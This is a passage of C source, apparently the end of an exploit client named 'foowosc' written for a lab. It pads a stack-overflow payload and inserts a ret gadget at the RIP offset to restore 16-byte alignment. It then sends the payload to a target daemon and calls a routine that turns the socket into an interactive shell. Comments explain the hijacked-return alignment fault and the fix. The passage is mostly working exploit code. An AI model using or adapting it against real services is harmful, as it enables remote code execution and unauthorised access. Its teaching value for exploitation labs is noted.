fprintf(stderr, "foowosc: payload is empty -- aborting\n");
close(fd);
return 1;
}
if (verbose) {
printf("foowosc: payload is %zu bytes; the last 16 are:\n ", p.len);
size_t start = p.len > 16 ? p.len - 16 : 0;
for (size_t i = start; i < p.len; i++)
printf("%02x ", p.data[i]);
printf("\n");
}
/*
* ------------------------------------------------------------------
* STACK ALIGNMENT -- the subtlest bug in this whole lab.
* ------------------------------------------------------------------
* The System V AMD64 ABI requires %rsp to be 16-byte aligned on entry
* to a function. A normal `call`/`ret` pair preserves this for free; a
* hijacked bare `ret` hands the callee %rsp = buf + rip_off, which here
* is 8 mod 16 (buf is 16-aligned by the ABI, rip_off is even but not a
* multiple of 16). glibc is compiled with SSE2, and movaps faults on a
* misaligned operand. The kernel then reports an alignment fault -- with
* NO faulting address, i.e. si_addr == 0 -- which is the tell that the
* crash is not a NULL dereference at all.
*
* FIX: insert one extra `ret` between the padding and the real target.
* A ret adds exactly 8 to %rsp, restoring the invariant. (The shellcode
* technique does not strictly need this -- our payload makes no stack
* alignment assumptions -- but inserting it is harmless and keeps the
* code uniform.)
*
* The `ret` must be INSERTED at rip_off, not appended at the end: an
* appended ret is never reached because the first ret already lands on
* the target. (That was the broken first version of this code.)
* ------------------------------------------------------------------
*/
if (strcmp(tech, "demo") == 0) {
/* demo jumps to a deliberately invalid address; no callee. */
} else if (bi.ret_gadget != 0 && (bi.rip_off % 16) == 8) {
unsigned char *fixed;
size_t head = bi.rip_off;
if (head > p.len) {
fprintf(stderr, "foowosc: payload is shorter than rip_off\n");
free(p.data);
close(fd);
return 1;
}
fixed = malloc(p.len + 8);
if (fixed == NULL) {
fprintf(stderr, "foowosc: out of memory building alignment fix\n");
free(p.data);
close(fd);
return 1;
}
memcpy(fixed, p.data, head); /* the padding */
memcpy(fixed + head, &bi.ret_gadget, 8); /* the extra `ret` */
memcpy(fixed + head + 8, p.data + head, p.len - head);
free(p.data);
p.data = fixed;
p.cap = p.len + 8;
p.len += 8;
printf("foowosc: inserted a `ret` (at %#lx) at offset %lu to restore "
"16-byte alignment\n", bi.ret_gadget, head);
}
/* ---- Phase 4: send it and hand over. ------------------------------ */
printf("foowosc: sending %zu bytes (offset to RIP is %lu)\n",
p.len, bi.rip_off);
if (send_all(fd, p.data, p.len) < 0) {
fprintf(stderr, "foowosc: send failed: %s\n", strerror(errno));
close(fd);
return 1;
}
free(p.data);
if (!want_shell) {
usleep(400000);
drain_hint(fd);
printf("foowosc: done (no shell requested)\n");
close(fd);
return 0;
}
/* The daemon echoes the first 64 bytes of our payload back before it
* returns; swallow that so it does not look like shell output. */
usleep(200000);
drain_hint(fd);
become_shell(fd);
return 0;
}